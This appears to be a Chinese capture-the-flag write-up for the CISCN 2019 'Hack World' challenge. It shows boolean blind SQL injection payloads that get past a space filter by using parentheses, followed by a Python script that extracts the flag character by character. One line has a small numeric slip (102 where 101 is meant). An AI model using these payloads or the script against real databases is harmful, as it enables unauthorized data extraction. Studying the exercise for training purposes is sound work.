[CISCN2019 华北赛区 Day2 Web1]Hack World
首页提示flag位于flag表的flag字段
直接输入
;select flag from flag;
,显示sql注入检测
单独输入select关键字没有被过滤,说明过滤了空格
使用语句
;select(flag)from(flag);
返回false,结合上面单独输入select也返回false,可以联想到是bool盲注
因为题目提示flag为uuid,uuid是32位随机字符串,所以需要编写python脚本来获取flag
先写出一个核心的语句,判断flag的第一个字符是否ascii码为101
if((ascii(substr((select(flag)from(flag)),1,1))=101),0,1)
输出Hello,表示这个地方返回的1,说明第一个字符ascii码为101
Error表示此处返回0,第一个字符ascii码不为102
if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1)
python脚本祭出:
import requests url = "http://afdaf57c-ca3f-40fc-9e6c-afec379c58d9.node3.buuoj.cn/" res = "" try: for i in range(1, 50): for j in range(1, 127): payload = "1^if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1)" % (i, j) data = {"id": payload} r = requests.post(url, data) print(payload) if "Hello, glzjin wants a girlfriend." in r.text: res += (chr(j)) print(res) break except: print("end ....") print(res)